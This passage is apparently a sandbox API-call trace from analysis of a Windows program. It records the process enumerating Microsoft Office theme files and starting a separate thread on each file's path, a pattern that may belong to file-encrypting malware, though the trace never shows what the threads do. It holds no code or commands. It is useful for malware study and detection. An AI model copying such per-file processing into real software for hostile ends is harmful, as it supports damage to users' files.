ftLastAccessTime.dwLowDateTime=0xe5a01840, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6a20e000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8ad4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.thmx", cAlternateFileName="COMPOS~1.THM")) returned 1 [0086.049] wcscmp (_String1="Composite.thmx", _String2=".") returned 1 [0086.049] wcscmp (_String1="Composite.thmx", _String2="..") returned 1 [0086.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b7847f0 [0086.049] wcscpy (in: _Dest=0x1b7847f0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.049] wcscat (in: _Dest=0x1b7847f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.049] wcscat (in: _Dest=0x1b7847f0, _Source="Composite.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx" [0086.049] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7847f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x76c [0086.054] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8607600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a279a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8607600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1240d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.thmx", cAlternateFileName="CONCOU~1.THM")) returned 1 [0086.054] wcscmp (_String1="Concourse.thmx", _String2=".") returned 1 [0086.054] wcscmp (_String1="Concourse.thmx", _String2="..") returned 1 [0086.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b784880 [0086.054] wcscpy (in: _Dest=0x1b784880, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.054] wcscat (in: _Dest=0x1b784880, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.054] wcscat (in: _Dest=0x1b784880, _Source="Concourse.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx" [0086.054] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x770 [0086.055] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee59400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6ee59400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1e92c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.thmx", cAlternateFileName="COUTUR~1.THM")) returned 1 [0086.055] wcscmp (_String1="Couture.thmx", _String2=".") returned 1 [0086.055] wcscmp (_String1="Couture.thmx", _String2="..") returned 1 [0086.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1b784910 [0086.055] wcscpy (in: _Dest=0x1b784910, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.055] wcscat (in: _Dest=0x1b784910, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.055] wcscat (in: _Dest=0x1b784910, _Source="Couture.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx" [0086.055] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x774 [0086.056] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73aa4800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73aa4800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x555df, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.thmx", cAlternateFileName="ELEMEN~1.THM")) returned 1 [0086.056] wcscmp (_String1="Elemental.thmx", _String2=".") returned 1 [0086.056] wcscmp (_String1="Elemental.thmx", _String2="..") returned 1 [0086.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b7849a0 [0086.056] wcscpy (in: _Dest=0x1b7849a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.056] wcscat (in: _Dest=0x1b7849a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.056] wcscat (in: _Dest=0x1b7849a0, _Source="Elemental.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx" [0086.056] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7849a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x778 [0086.057] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2d000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac2d000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x10f61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.thmx", cAlternateFileName="EQUITY~1.THM")) returned 1 [0086.057] wcscmp (_String1="Equity.thmx", _String2=".") returned 1 [0086.057] wcscmp (_String1="Equity.thmx", _String2="..") returned 1 [0086.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b784a30 [0086.057] wcscpy (in: _Dest=0x1b784a30, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.057] wcscat (in: _Dest=0x1b784a30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.057] wcscat (in: _Dest=0x1b784a30, _Source="Equity.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx" [0086.057] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784a30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x77c [0086.058] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x478ec700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x478ec700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xc278, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.thmx", cAlternateFileName="ESSENT~1.THM")) returned 1 [0086.058] wcscmp (_String1="Essential.thmx", _String2=".") returned 1 [0086.058] wcscmp (_String1="Essential.thmx", _String2="..") returned 1 [0086.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b784ac0 [0086.058] wcscpy (in: _Dest=0x1b784ac0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.059] wcscat (in: _Dest=0x1b784ac0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.059] wcscat (in: _Dest=0x1b784ac0, _Source="Essential.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx" [0086.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784ac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x780 [0086.060] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x773dcf00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x773dcf00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.thmx", cAlternateFileName="EXECUT~1.THM")) returned 1 [0086.060] wcscmp (_String1="Executive.thmx", _String2=".") returned 1 [0086.060] wcscmp (_String1="Executive.thmx", _String2="..") returned 1 [0086.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b784b50 [0086.060] wcscpy (in: _Dest=0x1b784b50, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.060] wcscat (in: _Dest=0x1b784b50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.060] wcscat (in: _Dest=0x1b784b50, _Source="Executive.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx" [0086.060] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x784 [0086.061] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11e9de00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x11e9de00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x100a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.thmx", cAlternateFileName="FLOW~1.THM")) returned 1 [0086.061] wcscmp (_String1="Flow.thmx", _String2=".") returned 1 [0086.061] wcscmp (_String1="Flow.thmx", _String2="..") returned 1 [0086.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b784be0 [0086.061] wcscpy (in: _Dest=0x1b784be0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.062] wcscat (in: _Dest=0x1b784be0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.062] wcscat (in: _Dest=0x1b784be0, _Source="Flow.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx" [0086.062] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784be0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x788 [0086.063] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe565700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe565700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xf814, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.thmx", cAlternateFileName="FOUNDR~1.THM")) returned 1 [0086.063] wcscmp (_String1="Foundry.thmx", _String2=".") returned 1 [0086.063] wcscmp (_String1="Foundry.thmx", _String2="..") returned 1 [0086.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1b784c70 [0086.063] wcscpy (in: _Dest=0x1b784c70, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.063] wcscat (in: _Dest=0x1b784c70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.063] wcscat (in: _Dest=0x1b784c70, _Source="Foundry.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx" [0086.063] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784c70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x78c [0086.064] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b224e00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4b224e00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.thmx", cAlternateFileName="GRID~1.THM")) returned 1 [0086.064] wcscmp (_String1="Grid.thmx", _String2=".") returned 1 [0086.064] wcscmp (_String1="Grid.thmx", _String2="..") returned 1 [0086.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b784d00 [0086.064] wcscpy (in: _Dest=0x1b784d00, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.064] wcscat (in: _Dest=0x1b784d00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.064] wcscat (in: _Dest=0x1b784d00, _Source="Grid.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx" [0086.064] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x790 [0086.065] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d84a800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d84a800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x60041, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.thmx", cAlternateFileName="HARDCO~1.THM")) returned 1 [0086.065] wcscmp (_String1="Hardcover.thmx", _String2=".") returned 1 [0086.065] wcscmp (_String1="Hardcover.thmx", _String2="..") returned 1 [0086.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85b490 [0086.069] wcscpy (in: _Dest=0x1b85b490, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.069] wcscat (in: _Dest=0x1b85b490, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.069] wcscat (in: _Dest=0x1b85b490, _Source="Hardcover.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx" [0086.069] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85b490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x794 [0086.070] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ad15600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7ad15600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x3becb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.thmx", cAlternateFileName="HORIZO~1.THM")) returned 1 [0086.070] wcscmp (_String1="Horizon.thmx", _String2=".") returned 1 [0086.070] wcscmp (_String1="Horizon.thmx", _String2="..") returned 1 [0086.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1b85b520 [0086.070] wcscpy (in: _Dest=0x1b85b520, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.070] wcscat (in: _Dest=0x1b85b520, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.071] wcscat (in: _Dest=0x1b85b520, _Source="Horizon.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx" [0086.071] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85b520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x798 [0086.071] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x157d6500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x157d6500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x146a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.thmx", cAlternateFileName="MEDIAN~1.THM")) returned 1 [0086.071] wcscmp (_String1="Median.thmx", _String2=".") returned 1 [0086.071] wcscmp (_String1="Median.thmx", _String2="..") returned 1 [0086.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b85b5b0 [0086.072] wcscpy (in: _Dest=0x1b85b5b0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.072] wcscat (in: _Dest=0x1b85b5b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.072] wcscat (in: _Dest=0x1b85b5b0, _Source="Median.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx" [0086.072] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85b5b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x79c [0086.073] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1910ec00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1910ec00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x13af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.thmx", cAlternateFileName="METRO~1.THM")) returned 1 [0086.073] wcscmp (_String1="Metro.thmx", _String2=".") returned 1 [0086.073] wcscmp (_String1="Metro.thmx", _String2="..") returned 1 [0086.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85b640 [0086.073] wcscpy (in: _Dest=0x1b85b640, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.073] wcscat (in: _Dest=0x1b85b640, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.073] wcscat (in: _Dest=0x1b85b640, _Source="Metro.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx" [0086.073] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85b640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a0 [0086.074] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b734600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b734600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1583a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.thmx", cAlternateFileName="MODULE~1.THM")) returned 1 [0086.074] wcscmp (_String1="Module.thmx", _String2=".") returned 1 [0086.074] wcscmp (_String1="Module.thmx", _String2="..") returned 1 [0086.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b85b6d0 [0086.074] wcscpy (in: _Dest=0x1b85b6d0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.074] wcscat (in: _Dest=0x1b85b6d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.074] wcscat (in: _Dest=0x1b85b6d0, _Source="Module.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx" [0086.074] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85b6d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a4 [0086.075] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e64dd00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7e64dd00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x96ac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.thmx", cAlternateFileName="NEWSPR~1.THM")) returned 1 [0086.075] wcscmp (_String1="Newsprint.thmx", _String2=".") returned 1 [0086.075] wcscmp (_String1="Newsprint.thmx", _String2="..") returned 1 [0086.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85b760 [0086.075] wcscpy (in: _Dest=0x1b85b760, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.075] wcscat (in: _Dest=0x1b85b760, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.075] wcscat (in: _Dest=0x1b85b760, _Source="Newsprint.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx" [0086.076] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85b760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a8 [0086.076] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f06cd00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1f06cd00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x132b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.thmx", cAlternateFileName="OPULEN~1.THM")) returned 1 